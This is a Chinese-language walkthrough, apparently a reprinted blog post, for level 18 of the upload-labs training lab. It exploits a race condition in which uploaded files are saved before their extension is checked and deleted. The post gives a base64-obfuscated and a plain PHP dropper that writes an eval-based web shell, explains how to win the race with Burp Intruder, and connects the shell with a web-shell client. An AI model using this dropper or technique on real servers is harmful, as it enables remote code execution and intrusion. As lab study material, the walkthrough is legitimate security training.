upload-labs第18关条件竞争


条件竞争

 

 

从代码中可以看出他是先移动到服务器后在判断,不是.jpg|.png|.gif类型在删除

我们可以利用中间的时间访问我们上传的.php的payload,使我们成功getshell

构造要上传的payload:重要的事情说三遍,检查代码!检查代码!检查代码!

往往一个小失误从而构造了失败的payload

这里用了base64加密

<?php

fputs(fopen((base64_decode('c2hlbGwucGhw')),'w'),base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg=='));

或者

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"])?>');

上传构造好的payload的pass18.php的文件

然后用burp抓包发到Intruder模块,清除Clear§,设置Payloads选项中的Payload type为Null payloads,再修改Options的并发数Number of threads为500

 

这里我们访问我们上传pass18.php路径,用burp抓包发送到Intruder跟上面一样

(手工方法如果你绝的你好运的就去吧,我反正是脸黑,加上没手速)

可以从上传pass18.php的包如果是200状态说明访问到了,有时后访问到了但是并没有执行到我们pass18.php的代码就被删了,(建议再加多个发送payload的Intruder模块请求)

 

 

过多一会我们的shell.php成功储存到了服务器

然后在浏览器访问我们的payload 连接菜刀

 

 

竞争条件原理介绍
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。

下面有图

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM